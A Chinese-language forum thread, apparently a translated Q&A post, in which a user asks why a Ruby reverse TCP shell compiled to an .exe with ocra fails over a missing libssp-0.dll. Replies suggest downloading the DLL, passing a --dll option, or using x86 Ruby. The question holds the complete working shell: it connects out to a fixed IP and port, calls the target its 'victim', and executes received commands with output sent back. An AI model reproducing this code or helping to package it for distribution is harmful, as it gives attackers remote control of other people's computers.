我正试图用ocra编译一个用ruby编写的简单的反向TCP shell。
代码非常简单:
#!/usr/bin/env ruby
require 'socket'
require 'open3'
#Remote Host IP
RHOST = "192.168.197.23"
#Remote Host Port
PORT = "6969"
#Tries to connect every 5 seconds
begin
sock = TCPSocket.new "#{RHOST}","#{PORT}"
sock.puts "You are connected to your victim"
rescue
puts "Retrying..."
sleep 5
retry
end
#Runs the commands you type and sends you back the stdout and stderr.
begin
while line = sock.gets && line
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
IO.copy_stream(stdout_and_stderr, sock)
end
end
rescue
retry
end
我用ocra RevShell.rb --verbose
构建它
我没有收到错误消息,但每当我尝试运行.exe时,我都会收到以下错误:;C: 未找到\Users\Andrea\AppData\Local\Temp\ocrE30.tmp\bin\ruby_builtin_dlls\libssp-0.dll">
我是不是错过了什么?Ocra应该自己检查所需的需求,通过我仍然错过这个dll将其添加到exe中。
谢谢你的帮助。
也许您没有安装libssp-0.dll文件。你可以从下载https://www.dll-files.com/libssp-0.dll.html然后将文件放在错误显示的位置。
使用--dll ruby_builtin_dllslibssp-0.dll
。
请参阅https://github.com/larsch/ocra/issues/168了解更多详细信息。
RubyInstaller安装的Ruby 2.6和2.7(x64(也遇到了同样的问题。
在我的例子中,libssp-0.dll肯定存在于ruby_builtin_dlls目录中,但不知何故,它没有包含在编译的exe中,而同一目录中的其他dll都包含在内。
目前,我可以通过使用Ruby 2.7的(x86(版本来避免这个问题。